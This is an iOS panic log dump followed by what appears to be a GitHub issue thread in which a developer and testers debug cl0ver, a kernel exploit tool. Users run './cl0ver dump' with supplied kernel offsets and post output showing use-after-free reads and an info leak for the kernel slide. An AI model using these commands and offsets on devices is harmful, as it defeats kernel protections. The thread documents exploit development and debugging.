":3553,"notice":"Unmapped pages caused truncated backtrace (resampling disabled)","name":"com.apple.CoreMotion.MotionThread","state":["TH_WAIT"],"schedFlags":["TH_SFLAG_THROTTLED","TH_SFLAG_UNKNOWN_0x0800"],"basePriority":4,"userFrames":[[10,3120],[10,2732]],"qosEffective":"QOS_CLASS_BACKGROUND","userTime":0.000638666,"continuation":[0,95688],"systemTime":0,"schedPriority":4}},"timesThrottled":0},
"56" : {"pid":56,"residentMemoryBytes":2002944,"timesDidThrottle":0,"systemTimeTask":0,"pageIns":398,"pageFaults":5325,"userTimeTask":0.636366666,"procname":"configd","copyOnWriteFaults":162,"threadById":{"1192":{"continuation":[0,95688],"notice":"Unmapped pages caused truncated backtrace (resampling disabled)","qosRequested":"QOS_CLASS_DEFAULT","id":1192,"basePriority":31,"userTime":0.000181,"systemTime":0,"schedPriority":31,"userFrames":[[10,3120],[10,2732]],"state":["TH_WAIT"],"qosEffective":"QOS_CLASS_DEFAULT"},"1339":{"id":1339,"notice":"Unmapped pages caused truncated backtrace (resampling disabled)","name":"com.apple.CFSocket.private","qosRequested":"QOS_CLASS_DEFAULT","state":["TH_WAIT"],"basePriority":31,"userFrames":[[10,111624],[16,927440]],"qosEffective":"QOS_CLASS_DEFAULT","userTime":0.000663166,"continuation":[0,3548324],"systemTime":0,"schedPriority":31},"9682":{"qosEffective":"QOS_CLASS_UTILITY","continuation":[12,30956],"qosRequested":"QOS_CLASS_UTILITY","id":9682,"basePriority":20,"userTime":4.7375e-05,"systemTime":0,"schedPriority":20,"userFrames":[[10,113676],[13,5432],[13,4136]],"state":["TH_WAIT"],"waitEvent":[1,8525094165990154027]},"1073":{"id":1073,"notice":"Unmapped pages caused truncated backtrace (resampling disabled)","name":"InterfaceNamer thread","qosRequested":"QOS_CLASS_DEFAULT","state":["TH_WAIT"],"basePriority":31,"userFrames":[[10,3120],[10,2732]],"qosEffective":"QOS_CLASS_DEFAULT","userTime":0.021176916,"continuation":[0,95688],"systemTime":0,"schedPriority":31},"1070":{"id":1070,"notice":"Unmapped pages caused truncated backtrace (resampling disabled)","name":"Main plugin thread","qosRequested":"QOS_CLASS_DEFAULT","state":["TH_WAIT"],"basePriority":31,"userFrames":[[10,3120],[10,2732]],"qosEffective":"QOS_CLASS_DEFAULT","userTime":0.138252458,"continuation":[0,95688],"systemTime":0,"schedPriority":31},"3790":{"continuation":[0,95688],"notice":"Unmapped pages caused truncated backtrace (resampling disabled)","systemTime":0,"id":3790,"basePriority":33,"name":"com.apple.NSURLConnectionLoader","userFrames":[[10,3120],[10,2732]],"schedPriority":33,"state":["TH_WAIT"],"userTime":0.000587416},"1337":{"continuation":[0,95688],"userTime":0.02913925,"qosRequested":"QOS_CLASS_DEFAULT","id":1337,"basePriority":31,"systemTime":0,"userFrames":[[10,3120],[10,2732],[16,901480],[16,892524],[16,36288],[16,353612],[1,4301268128],[13,15164],[13,15008],[13,4144]],"schedPriority":31,"state":["TH_WAIT"],"qosEffective":"QOS_CLASS_DEFAULT"},"900":{"continuation":[0,95688],"userTime":0.356810958,"qosRequested":"QOS_CLASS_USER_INITIATED","id":900,"basePriority":37,"systemTime":0,"name":"SCDynamicStore","schedPriority":37,"userFrames":[[10,3120],[10,2732],[16,901480],[16,892524],[16,36288],[1,4295564840],[1,4295560812],[18,10424],[29,0]],"state":["TH_WAIT"],"qosEffective":"QOS_CLASS_USER_INITIATED"},"1068":{"continuation":[0,3409388],"userTime":0.010621416,"qosRequested":"QOS_CLASS_USER_INITIATED","id":1068,"basePriority":37,"systemTime":0,"userFrames":[[10,116124],[11,84484],[11,14652],[29,0]],"schedPriority":37,"state":["TH_WAIT"],"qosEffective":"QOS_CLASS_USER_INITIATED"},"1338":{"continuation":[0,95688],"notice":"Unmapped pages caused truncated backtrace (resampling disabled)","qosRequested":"QOS_CLASS_DEFAULT","id":1338,"basePriority":31,"userTime":7.825e-05,"systemTime":0,"schedPriority":31,"userFrames":[[10,3120],[10,2732]],"state":["TH_WAIT"],"qosEffective":"QOS_CLASS_DEFAULT"}},"timesThrottled":0},
"58" : {"pid":58,"residentMemoryBytes":1019904,"timesDidThrottle":0,"systemTimeTask":0,"pageIns":45,"pageFaults":2563,"userTimeTask":0.465866791,"procname":"powerd","copyOnWriteFaults":104,"threadById":{"902":{"continuation":[0,95688],"userTime":0.460485125,"qosRequested":"QOS_CLASS_USER_INITIATED","id":902,"basePriority":4,"schedFlags":["TH_SFLAG_THROTTLED","TH_SFLAG_UNKNOWN_0x0800"],"systemTime":0,"schedPriority":4,"userFrames":[[10,3120],[10,2732],[16,901480],[16,892524],[16,36288],[16,353612],[30,17388],[18,10424],[1,0]],"state":["TH_WAIT"],"qosEffective":"QOS_CLASS_BACKGROUND"},"1271":{"continuation":[0,3409388],"userTime":0.004568333,"qosRequested":"QOS_CLASS_USER_INITIATED","id":1271,"basePriority":4,"schedFlags":["TH_SFLAG_THROTTLED","TH_SFLAG_UNKNOWN_0x0800"],"systemTime":0,"schedPriority":4,"userFrames":[[10,116124],[11,84484],[11,14652],[1,0]],"state":["TH_WAIT"],"qosEffective":"QOS_CLASS_BACKGROUND"}},"timesThrottled":0},
"62" : {"pid":62,"residentMemoryBytes":6832128,"timesDidThrottle":0,"systemTimeTask":0,"pageIns":988,"pageFaults":153884,"userTimeTask":5.529624416,"procname":"atc","copyOnWriteFaults":321,"threadById":{"9667":{"qosEffective":"QOS_CLASS_DEFAULT","continuation":[12,30956],"qosRequested":"QOS_CLASS_DEFAULT","id":9667,"basePriority":31,"userTime":0.000600208,"systemTime":0,"schedPriority":31,"userFrames":[[10,113676],[13,5432],[13,4136]],"state":["TH_WAIT"],"waitEvent":[1,8525094166011069723]},"906":{"continuation":[0,95688],"userTime":0.309484458,"qosRequested":"QOS_CLASS_DEFAULT","id":906,"basePriority":31,"systemTime":0,"userFrames":[[10,3120],[10,2732],[16,901480],[16,892524],[16,36288],[22,51180],[22,400916],[31,14244],[18,10424],[1,0]],"schedPriority":31,"state":["TH_WAIT"],"qosEffective":"QOS_CLASS_DEFAULT"},"1092":{"continuation":[0,3409388],"userTime":0.073350583,"qosRequested":"QOS_CLASS_USER_INITIATED","id":1092,"basePriority":37,"systemTime":0,"userFrames":[[10,116124],[11,84484],[11,14652],[1,0]],"schedPriority":37,"state":["TH_WAIT"],"qosEffective":"QOS_CLASS_USER_INITIATED"},"9668":{"qosEffective":"QOS_CLASS_DEFAULT","continuation":[12,30956],"qosRequested":"QOS_CLASS_DEFAULT","id":9668,"basePriority":31,"userTime":8.3625e-05,"systemTime":0,"schedPriority":31,"userFrames":[[10,113676],[13,5432],[13,4136]],"state":["TH_WAIT"],"waitEvent":[1,8525094166011069563]}},"timesThrottled":0},
"66" : {"pid":66,"residentMemoryBytes":2723840,"timesDidThrottle":0,"systemTimeTask":0,"pageIns":457,"pageFaults":6182,"userTimeTask":0.908597541,"procname":"wifid","copyOnWriteFaults":209,"threadById":{"9564":{"qosEffective":"QOS_CLASS_DEFAULT","continuation":[12,30956],"qosRequested":"QOS_CLASS_DEFAULT","id":9564,"basePriority":31,"userTime":0.000793291,"systemTime":0,"schedPriority":31,"userFrames":[[10,113676],[13,5432],[13,4136]],"state":["TH_WAIT"],"waitEvent":[1,8525094166009351003]},"1729":{"continuation":[0,95688],"userTime":0.012165791,"qosRequested":"QOS_CLASS_DEFAULT","id":1729,"basePriority":31,"systemTime":0,"name":"wifid_workerThread","schedPriority":31,"userFrames":[[10,3120],[10,2732],[16,901480],[16,892524],[16,36288],[22,51180],[22,400916],[22,995640],[13,15164],[13,15008],[13,4144]],"state":["TH_WAIT"],"qosEffective":"QOS_CLASS_DEFAULT"},"1118":{"continuation":[0,3409388],"userTime":0.013169208,"qosRequested":"QOS_CLASS_USER_INITIATED","id":1118,"basePriority":37,"systemTime":0,"userFrames":[[10,116124],[11,84484],[11,14652],[1,0]],"schedPriority":37,"state":["TH_WAIT"],"qosEffective":"QOS_CLASS_USER_INITIATED"},"1687":{"id":1687,"notice":"Unmapped pages caused truncated backtrace (resampling disabled)","name":"com.apple.CFSocket.private","qosRequested":"QOS_CLASS_DEFAULT","state":["TH_WAIT"],"basePriority":31,"userFrames":[[10,111624],[16,927440]],"qosEffective":"QOS_CLASS_DEFAULT","userTime":0.033422958,"continuation":[0,3548324],"systemTime":0,"schedPriority":31},"910":{"continuation":[0,95688],"userTime":0.08907925,"qosRequested":"QOS_CLASS_DEFAULT","id":910,"basePriority":31,"systemTime":0,"userFrames":[[10,3120],[10,2732],[16,901480],[16,892524],[16,36288],[16,353612],[32,622912],[18,10424],[1,0]],"schedPriority":31,"state":["TH_WAIT"],"qosEffective":"QOS_CLASS_DEFAULT"},"1731":{"continuation":[0,95688],"userTime":0.002274333,"name":"AVAudioSession Notify Thread","id":1731,"basePriority":31,"userFrames":[[10,3120],[10,2732],[16,901480],[16,892524],[16,36288],[33,284768],[33,107432],[13,15164],[13,15008],[13,4144]],"schedPriority":31,"state":["TH_WAIT"],"systemTime":0},"1120":{"continuation":[0,95688],"userTime":0.6118593329999999,"qosRequested":"QOS_CLASS_DEFAULT","id":1120,"basePriority":31,"systemTime":0,"name":"wifid_masterThread","schedPriority":31,"userFrames":[[10,3120],[10,2732],[16,901480],[16,892524],[16,36288],[16,353612],[32,623864],[13,15164],[13,15008],[13,4144]],"state":["TH_WAIT"],"qosEffective":"QOS_CLASS_DEFAULT"}},"timesThrottled":0},
"70" : {"pid":70,"residentMemoryBytes":581632,"timesDidThrottle":0,"systemTimeTask":0,"pageIns":11,"pageFaults":1713,"userTimeTask":0.2824025,"procname":"keybagd","copyOnWriteFaults":100,"threadById":{"1058":{"id":1058,"notice":"Unmapped pages caused truncated backtrace (resampling disabled)","state":["TH_WAIT"],"qosRequested":"QOS_CLASS_DEFAULT","basePriority":31,"userFrames":[[10,112848],[11,74556]],"qosEffective":"QOS_CLASS_DEFAULT","userTime":0.000198916,"waitEvent":[1,8525094165955387491],"continuation":[0,3548324],"systemTime":0,"schedPriority":31},"1057":{"continuation":[0,3409388],"userTime":0.0040505,"qosRequested":"QOS_CLASS_USER_INITIATED","id":1057,"basePriority":37,"systemTime":0,"userFrames":[[10,116124],[11,84484],[11,14652],[34,0]],"schedPriority":37,"state":["TH_WAIT"],"qosEffective":"QOS_CLASS_USER_INITIATED"}},"timesThrottled":0},
"74" : {"pid":74,"residentMemoryBytes":2609152,"timesDidThrottle":0,"systemTimeTask":0,"pageIns":4,"pageFaults":8070,"userTimeTask":0.258235083,"procname":"familynotificationd","copyOnWriteFaults":212,"threadById":{"918":{"continuation":[0,95688],"userTime":0.247603583,"qosRequested":"QOS_CLASS_DEFAULT","id":918,"basePriority":4,"schedFlags":["TH_SFLAG_THROTTLED","TH_SFLAG_UNKNOWN_0x0800"],"systemTime":0,"schedPriority":4,"userFrames":[[10,3120],[10,2732],[16,901480],[16,892524],[16,36288],[16,353612],[1,4295580316],[18,10424],[35,0]],"state":["TH_WAIT"],"qosEffective":"QOS_CLASS_BACKGROUND"},"2164":{"continuation":[0,3409388],"userTime":0.00134425,"qosRequested":"QOS_CLASS_USER_INITIATED","id":2164,"basePriority":4,"schedFlags":["TH_SFLAG_THROTTLED","TH_SFLAG_UNKNOWN_0x0800"],"systemTime":0,"schedPriority":4,"userFrames":[[10,116124],[11,84484],[11,14652],[35,0]],"state":["TH_WAIT"],"qosEffective":"QOS_CLASS_BACKGROUND"}},"timesThrottled":0},
"78" : {"pid":78,"residentMemoryBytes":954368,"timesDidThrottle":0,"systemTimeTask":0,"pageIns":19,"pageFaults":1691,"userTimeTask":0.06440908300000001,"procname":"seld","copyOnWriteFaults":128,"threadById":{"922":{"continuation":[0,95688],"userTime":0.049890666,"systemTime":0,"id":922,"basePriority":4,"schedFlags":["TH_SFLAG_THROTTLED","TH_SFLAG_UNKNOWN_0x0800"],"userFrames":[[10,3120],[10,2732],[16,901480],[16,892524],[16,36288],[16,353612],[36,17508],[18,10424],[1,0]],"schedPriority":4,"state":["TH_WAIT"],"qosEffective":"QOS_CLASS_BACKGROUND"},"2086":{"continuation":[0,3409388],"userTime":0.002508083,"systemTime":0,"id":2086,"basePriority":4,"schedFlags":["TH_SFLAG_THROTTLED","TH_SFLAG_UNKNOWN_0x0800"],"userFrames":[[10,116124],[11,84484],[11,14652],[1,0]],"schedPriority":4,"state":["TH_WAIT"],"qosEffective":"QOS_CLASS_BACKGROUND"}},"timesThrottled":0},
"80" : {"pid":80,"residentMemoryBytes":1773568,"timesDidThrottle":0,"systemTimeTask":0,"pageIns":172,"pageFaults":41296,"userTimeTask":9.953593333000001,"procname":"installd","copyOnWriteFaults":147,"threadById":{"924":{"id":924,"notice":"Unmapped pages caused truncated backtrace (resampling disabled)","state":["TH_WAIT"],"qosRequested":"QOS_CLASS_DEFAULT","schedFlags":["TH_SFLAG_THROTTLED","TH_SFLAG_UNKNOWN_0x0800"],"basePriority":4,"userFrames":[[10,3120],[10,2732]],"qosEffective":"QOS_CLASS_BACKGROUND","userTime":0.229388,"continuation":[0,95688],"systemTime":0,"schedPriority":4},"2146":{"continuation":[0,3409388],"userTime":0.644866958,"qosRequested":"QOS_CLASS_USER_INITIATED","id":2146,"basePriority":4,"schedFlags":["TH_SFLAG_THROTTLED","TH_SFLAG_UNKNOWN_0x0800"],"systemTime":0,"schedPriority":4,"userFrames":[[10,116124],[11,84484],[11,14652],[1,0]],"state":["TH_WAIT"],"qosEffective":"QOS_CLASS_BACKGROUND"}},"timesThrottled":0},
"84" : {"pid":84,"residentMemoryBytes":3510272,"timesDidThrottle":0,"systemTimeTask":0,"pageIns":449,"pageFaults":7060,"userTimeTask":0.5900510410000001,"procname":"identityservicesd","copyOnWriteFaults":285,"threadById":{"928":{"continuation":[0,95688],"userTime":0.411004375,"qosOverride":"QOS_CLASS_USER_INITIATED","id":928,"basePriority":37,"qosRequested":"QOS_CLASS_DEFAULT","systemTime":0,"schedPriority":37,"userFrames":[[10,3120],[10,2732],[16,901480],[16,892524],[16,36288],[22,51180],[22,400916],[37,227996],[18,10424],[1,0]],"state":["TH_WAIT"],"qosEffective":"QOS_CLASS_USER_INITIATED"},"1865":{"continuation":[0,3548324],"notice":"Unmapped pages caused truncated backtrace (resampling disabled)","systemTime":0,"id":1865,"basePriority":37,"userFrames":[[10,111624],[38,129696]],"schedPriority":37,"state":["TH_WAIT"],"userTime":6.0375e-05},"1866":{"continuation":[0,3548324],"notice":"Unmapped pages caused truncated backtrace (resampling disabled)","systemTime":0,"id":1866,"basePriority":37,"userFrames":[[10,111624],[38,129696]],"schedPriority":37,"state":["TH_WAIT"],"userTime":8.4708e-05},"1863":{"continuation":[0,3548324],"userTime":0.002415625,"id":1863,"basePriority":37,"userFrames":[[10,111624],[38,130816],[13,15164],[13,15008],[13,4144]],"schedPriority":37,"state":["TH_WAIT"],"systemTime":0},"1669":{"id":1669,"notice":"Unmapped pages caused truncated backtrace (resampling disabled)","name":"CommonUtilities-WiFi-Thread","qosRequested":"QOS_CLASS_DEFAULT","state":["TH_WAIT"],"basePriority":31,"userFrames":[[10,3120],[10,2732],[16,901480],[16,892524]],"qosEffective":"QOS_CLASS_DEFAULT","userTime":0.002334916,"continuation":[0,95688],"systemTime":0,"schedPriority":31},"1864":{"continuation":[0,3548324],"notice":"Unmapped pages caused truncated backtrace (resampling disabled)","systemTime":0,"id":1864,"basePriority":37,"userFrames":[[10,111624],[38,129696]],"schedPriority":37,"state":["TH_WAIT"],"userTime":6.65e-05},"1081":{"continuation":[0,3409388],"userTime":0.032969583,"qosRequested":"QOS_CLASS_USER_INITIATED","id":1081,"basePriority":37,"systemTime":0,"userFrames":[[10,116124],[11,84484],[11,14652],[1,0]],"schedPriority":37,"state":["TH_WAIT"],"qosEffective":"QOS_CLASS_USER_INITIATED"}},"timesThrottled":0},
"88" : {"pid":88,"residentMemoryBytes":909312,"timesDidThrottle":0,"systemTimeTask":0,"pageIns":17,"pageFaults":2593,"userTimeTask":0.07320966600000001,"procname":"touchsetupd","copyOnWriteFaults":115,"threadById":{"932":{"id":932,"notice":"Unmapped pages caused truncated backtrace (resampling disabled)","state":["TH_WAIT"],"qosRequested":"QOS_CLASS_DEFAULT","schedFlags":["TH_SFLAG_THROTTLED","TH_SFLAG_UNKNOWN_0x0800"],"basePriority":4,"userFrames":[[10,3120],[10,2732]],"qosEffective":"QOS_CLASS_BACKGROUND","userTime":0.070372958,"continuation":[0,95688],"systemTime":0,"schedPriority":4},"2112":{"id":2112,"notice":"Unmapped pages caused truncated backtrace (resampling disabled)","state":["TH_WAIT"],"qosRequested":"QOS_CLASS_USER_INITIATED","schedFlags":["TH_SFLAG_THROTTLED","TH_SFLAG_UNKNOWN_0x0800"],"basePriority":4,"userFrames":[[10,116124],[11,84484]],"qosEffective":"QOS_CLASS_BACKGROUND","userTime":0.000482583,"continuation":[0,3409388],"systemTime":0,"schedPriority":4}},"timesThrottled":0},
"90" : {"pid":90,"residentMemoryBytes":1085440,"timesDidThrottle":0,"systemTimeTask":0,"pageIns":29,"pageFaults":2517,"userTimeTask":0.08849679100000001,"procname":"AppleIDAuthAgent","copyOnWriteFaults":120,"threadById":{"2137":{"id":2137,"notice":"Unmapped pages caused truncated backtrace (resampling disabled)","state":["TH_WAIT"],"qosRequested":"QOS_CLASS_DEFAULT","schedFlags":["TH_SFLAG_THROTTLED","TH_SFLAG_UNKNOWN_0x0800"],"basePriority":4,"userFrames":[[10,112848],[11,74556]],"qosEffective":"QOS_CLASS_BACKGROUND","userTime":3.3708e-05,"waitEvent":[1,8525094165955717203],"continuation":[0,3548324],"systemTime":0,"schedPriority":4},"2136":{"id":2136,"notice":"Unmapped pages caused truncated backtrace (resampling disabled)","state":["TH_WAIT"],"qosRequested":"QOS_CLASS_DEFAULT","schedFlags":["TH_SFLAG_THROTTLED","TH_SFLAG_UNKNOWN_0x0800"],"basePriority":4,"userFrames":[[10,3204],[11,75312]],"qosEffective":"QOS_CLASS_BACKGROUND","userTime":0.014616333,"waitEvent":[0,5862268],"continuation":[0,288076],"systemTime":0,"schedPriority":4},"2135":{"continuation":[0,3409388],"userTime":0.000740875,"qosRequested":"QOS_CLASS_USER_INITIATED","id":2135,"basePriority":4,"schedFlags":["TH_SFLAG_THROTTLED","TH_SFLAG_UNKNOWN_0x0800"],"systemTime":0,"schedPriority":4,"userFrames":[[10,116124],[11,84484],[11,14652],[39,0]],"state":["TH_WAIT"],"qosEffective":"QOS_CLASS_BACKGROUND"}},"timesThrottled":0},
"92" : {"pid":92,"residentMemoryBytes":4329472,"timesDidThrottle":0,"systemTimeTask":0,"pageIns":243,"pageFaults":9479,"userTimeTask":0.400755333,"procname":"assetsd","copyOnWriteFaults":272,"threadById":{"936":{"continuation":[0,95688],"userTime":0.310153916,"qosRequested":"QOS_CLASS_DEFAULT","id":936,"basePriority":4,"schedFlags":["TH_SFLAG_THROTTLED","TH_SFLAG_UNKNOWN_0x0800"],"systemTime":0,"schedPriority":4,"userFrames":[[10,3120],[10,2732],[16,901480],[16,892524],[16,36288],[16,353612],[1,4295383872],[18,10424],[40,0]],"state":["TH_WAIT"],"qosEffective":"QOS_CLASS_BACKGROUND"},"2156":{"continuation":[0,3409388],"userTime":0.004175833,"systemTime":0,"id":2156,"basePriority":4,"schedFlags":["TH_SFLAG_THROTTLED","TH_SFLAG_UNKNOWN_0x0800"],"userFrames":[[10,116124],[11,84484],[11,14652],[40,0]],"schedPriority":4,"state":["TH_WAIT"],"qosEffective":"QOS_CLASS_BACKGROUND"},"2405":{"id":2405,"notice":"Unmapped pages caused truncated backtrace (resampling disabled)","name":"com.apple.NSURLConnectionLoader","state":["TH_WAIT"],"schedFlags":["TH_SFLAG_THROTTLED","TH_SFLAG_UNKNOWN_0x0800"],"basePriority":4,"userFrames":[[10,3120],[10,2732]],"qosEffective":"QOS_CLASS_BACKGROUND","userTime":0.004345125,"continuation":[0,95688],"systemTime":0,"schedPriority":4}},"timesThrottled":0},
"94" : {"pid":94,"residentMemoryBytes":2703360,"timesDidThrottle":0,"systemTimeTask":0,"pageIns":36,"pageFaults":8638,"userTimeTask":0.293293208,"procname":"wcd","copyOnWriteFaults":233,"threadById":{"2134":{"continuation":[0,3409388],"userTime":0.005717083,"qosRequested":"QOS_CLASS_USER_INITIATED","id":2134,"basePriority":4,"schedFlags":["TH_SFLAG_THROTTLED","TH_SFLAG_UNKNOWN_0x0800"],"systemTime":0,"schedPriority":4,"userFrames":[[10,116124],[11,84484],[11,14652],[1,0]],"state":["TH_WAIT"],"qosEffective":"QOS_CLASS_BACKGROUND"},"2141":{"id":2141,"notice":"Unmapped pages caused truncated backtrace (resampling disabled)","state":["TH_WAIT"],"qosRequested":"QOS_CLASS_DEFAULT","schedFlags":["TH_SFLAG_THROTTLED","TH_SFLAG_UNKNOWN_0x0800"],"basePriority":4,"userFrames":[[10,112848],[11,74556]],"qosEffective":"QOS_CLASS_BACKGROUND","userTime":0.009254625000000001,"waitEvent":[1,8525094165955715171],"continuation":[0,3548324],"systemTime":0,"schedPriority":4}},"timesThrottled":0},
"96" : {"pid":96,"residentMemoryBytes":79339520,"timesDidThrottle":0,"systemTimeTask":0,"pageIns":19702,"pageFaults":242935,"userTimeTask":28.49542475,"procname":"SpringBoard","copyOnWriteFaults":2532,"threadById":{"2174":{"continuation":[0,95688],"userTime":0.028529458,"qosRequested":"QOS_CLASS_USER_INITIATED","id":2174,"basePriority":37,"systemTime":0,"userFrames":[[10,3120],[10,2732],[16,901480],[16,892524],[16,36288],[22,51180],[22,400916],[42,6489148],[22,995640],[13,15164],[13,15008],[13,4144]],"schedPriority":37,"state":["TH_WAIT"],"qosEffective":"QOS_CLASS_USER_INITIATED"},"940":{"continuation":[0,95688],"userTime":16.500033375,"qosRequested":"QOS_CLASS_USER_INTERACTIVE","id":940,"basePriority":47,"systemTime":0,"userFrames":[[10,3120],[10,2732],[16,901480],[16,892524],[16,36288],[41,49288],[42,503620],[43,32352],[18,10424],[1,0]],"schedPriority":47,"state":["TH_WAIT"],"qosEffective":"QOS_CLASS_USER_INTERACTIVE"},"2688":{"id":2688,"notice":"Unmapped pages caused truncated backtrace (resampling disabled)","name":"CommonUtilities-WiFi-Thread","qosRequested":"QOS_CLASS_DEFAULT","state":["TH_WAIT"],"basePriority":31,"userFrames":[[10,3120],[10,2732],[16,901480],[16,892524]],"qosEffective":"QOS_CLASS_DEFAULT","userTime":0.003019208,"continuation":[0,95688],"systemTime":0,"schedPriority":31},"2579":{"continuation":[0,95688],"userTime":0.093098708,"qosRequested":"QOS_CLASS_DEFAULT","id":2579,"basePriority":31,"systemTime":0,"userFrames":[[10,3120],[10,2732],[16,901480],[16,892524],[16,36288],[43,459840],[13,15164],[13,15008],[13,4144]],"schedPriority":31,"state":["TH_WAIT"],"qosEffective":"QOS_CLASS_DEFAULT"},"2293":{"continuation":[0,288076],"notice":"Unmapped pages caused truncated backtrace (resampling disabled)","userTime":0.000148166,"id":2293,"basePriority":47,"systemTime":0,"name":"com.apple.coremedia.player.async","schedPriority":47,"userFrames":[[10,3180],[11,75396]],"state":["TH_WAIT"],"waitEvent":[0,5862268]},"2578":{"id":2578,"notice":"Unmapped pages caused truncated backtrace (resampling disabled)","name":"NetworkLoad","qosRequested":"QOS_CLASS_DEFAULT","state":["TH_WAIT"],"basePriority":31,"userFrames":[[10,3120],[10,2732]],"qosEffective":"QOS_CLASS_DEFAULT","userTime":0.002289208,"continuation":[0,95688],"systemTime":0,"schedPriority":31},"2580":{"continuation":[0,95688],"userTime":0.179005583,"qosRequested":"QOS_CLASS_DEFAULT","id":2580,"basePriority":31,"systemTime":0,"name":"com.apple.springboard.icongeneration","schedPriority":31,"userFrames":[[10,3120],[10,2732],[16,901480],[16,892524],[16,36288],[43,460184],[13,15164],[13,15008],[13,4144]],"state":["TH_WAIT"],"qosEffective":"QOS_CLASS_DEFAULT"},"9237":{"qosEffective":"QOS_CLASS_DEFAULT","continuation":[12,30956],"qosRequested":"QOS_CLASS_DEFAULT","id":9237,"basePriority":31,"userTime":0.077830291,"systemTime":0,"schedPriority":31,"userFrames":[[10,113676],[13,5432],[13,4136]],"state":["TH_WAIT"],"waitEvent":[1,8525094165967511579]},"1141":{"continuation":[0,3409388],"userTime":0.624272333,"qosRequested":"QOS_CLASS_USER_INTERACTIVE","id":1141,"basePriority":47,"systemTime":0,"userFrames":[[10,116124],[11,84484],[11,14652],[1,0]],"schedPriority":47,"state":["TH_WAIT"],"qosEffective":"QOS_CLASS_USER_INTERACTIVE"},"9236":{"qosEffective":"QOS_CLASS_USER_INITIATED","continuation":[12,30956],"qosRequested":"QOS_CLASS_USER_INITIATED","id":9236,"basePriority":37,"userTime":0.057317541,"systemTime":0,"schedPriority":37,"userFrames":[[10,113676],[13,5432],[13,4136]],"state":["TH_WAIT"],"waitEvent":[1,8525094166009240827]},"2603":{"continuation":[0,95688],"userTime":1.591239166,"name":"com.apple.CoreMotion.MotionThread","id":2603,"basePriority":47,"userFrames":[[10,3120],[10,2732],[16,901480],[16,892524],[16,36288],[16,353612],[19,332688],[13,15164],[13,15008],[13,4144]],"schedPriority":47,"state":["TH_WAIT"],"systemTime":0},"3050":{"continuation":[0,95688],"userTime":0.012871333,"name":"com.apple.NSURLConnectionLoader","id":3050,"basePriority":33,"userFrames":[[10,3120],[10,2732],[16,901480],[16,892524],[16,36288],[24,712820],[22,995640],[13,15164],[13,15008],[13,4144]],"schedPriority":33,"state":["TH_WAIT"],"systemTime":0},"2284":{"continuation":[0,95688],"userTime":0.045046375,"qosRequested":"QOS_CLASS_DEFAULT","id":2284,"basePriority":31,"systemTime":0,"name":"SBWiFiManager callback thread","schedPriority":31,"userFrames":[[10,3120],[10,2732],[16,901480],[16,892524],[16,36288],[22,51180],[22,400916],[22,995640],[13,15164],[13,15008],[13,4144]],"state":["TH_WAIT"],"qosEffective":"QOS_CLASS_DEFAULT"},"9672":{"qosEffective":"QOS_CLASS_USER_INITIATED","continuation":[12,30956],"qosRequested":"QOS_CLASS_USER_INITIATED","id":9672,"basePriority":37,"userTime":0.000380458,"systemTime":0,"schedPriority":37,"userFrames":[[10,113676],[13,5432],[13,4136]],"state":["TH_WAIT"],"waitEvent":[1,8525094166011069163]}},"timesThrottled":0},
"98" : {"pid":98,"residentMemoryBytes":901120,"timesDidThrottle":0,"systemTimeTask":0,"pageIns":37,"pageFaults":1512,"userTimeTask":0.069798916,"procname":"wirelessproxd","copyOnWriteFaults":132,"threadById":{"942":{"continuation":[0,95688],"userTime":0.061331291,"qosRequested":"QOS_CLASS_DEFAULT","id":942,"basePriority":4,"schedFlags":["TH_SFLAG_THROTTLED","TH_SFLAG_UNKNOWN_0x0800"],"systemTime":0,"schedPriority":4,"userFrames":[[10,3120],[10,2732],[16,901480],[16,892524],[16,36288],[22,51180],[22,400916],[1,4295379376],[18,10424],[44,0]],"state":["TH_WAIT"],"qosEffective":"QOS_CLASS_BACKGROUND"},"2035":{"continuation":[0,3409388],"userTime":0.002951541,"qosRequested":"QOS_CLASS_USER_INITIATED","id":2035,"basePriority":4,"schedFlags":["TH_SFLAG_THROTTLED","TH_SFLAG_UNKNOWN_0x0800"],"systemTime":0,"schedPriority":4,"userFrames":[[10,116124],[11,84484],[11,14652],[44,0]],"
gitNemo commented
The message is too big, can't paste it here,
Any mail ?
gitNemo commented
My bad :p
Here is the link to file;
https://transipnemo.stackstorage.com/s/ycqKVyP1Jh8pvdG
Shinjidai commented
Here's the cl0ver log and panic log. The cl0ver log still ends up truncated though.
https://ghostbin.com/paste/xtcjm
https://ghostbin.com/paste/e2fvv
Siguza commented
@Shinjidai Seems like your device didn't panic on the intended value, but a null pointer instead.
@gitNemo The value in your panic log seems odd, but... let's give it a shot.
I just committed some changes to the dumping routines, and unless I messed up, they should work on 9.0.x now.
Along with those, could you both create a file at /etc/cl0ver/config.txt with the following contents:
0xffffff800454a000
0xffffff800435e440
Then please try running ./cl0ver dump. If that panics your device before the kernel header is printed (things like __TEXT, __DATA, etc.) please run another ./cl0ver panic and upload the panic log and cl0ver's output again. If some kernel memory is successfully dumped, but the device panics in the middle of it, just try again. Chances are it'll succeed within a couple of tries.
gitNemo commented
I am getting this;
iPhone-6-de-Nemo:/etc/cl0ver root# ./cl0ver dump
[*] Checking for config file... [src/lib/offsets.c:102 off_cfg]
[*] Yes, attempting to read anchor and vtab from config file... [src/lib/offsets.c:112 off_cfg]
[!] Unhandled error: Failed to parse config file. Please either repair or remove it. [src/lib/offsets.c:124 off_cfg]
Shinjidai commented
I got the same error as gitNemo
Siguza commented
My bad, looks like I broke config parsing during the last refactor. Just committed a fix, try again please.
gitNemo commented
Cl0ver dump output:
http://pastebin.com/EukTrqMQ
Another Cl0ver panic output:
http://pastebin.com/fmgUinZT
and the Panic log:
http://pastebin.com/Pgd0mv6j
Same as Shinjidai, it panic before printing kernel headers
I will keep trying...
Shinjidai commented
So far my device panics before printing the kernel header. Here are the logs though:
Cl0ver log: https://ghostbin.com/paste/j9u43
Panic log: https://ghostbin.com/paste/k4wjq
Siguza commented
Ok, try again with these values in config.txt please:
0xffffff800454a000
0xffffff8004503168
gitNemo commented
Here the output with the new offsets, it panic...
iPhone-6-de-Nemo:/etc/cl0ver root# ./cl0ver dump
[*] Checking for config file... [src/lib/offsets.c:102 off_cfg]
[*] Yes, attempting to read anchor and vtab from config file... [src/lib/offsets.c:112 off_cfg]
[*] Anchor: 0xffffff800454a000, Vtab: 0xffffff8004503168 [src/lib/offsets.c:118 off_cfg]
[*] Dumping kernel to file [src/lib/exploit.c:40 dump_kernel]
[*] Dumping kernel, this will take some time... [src/lib/uaf_read.c:379 uaf_dump_kernel]
[*] Using info leak to get kernel slide... [src/lib/slide.c:64 get_kernel_slide]
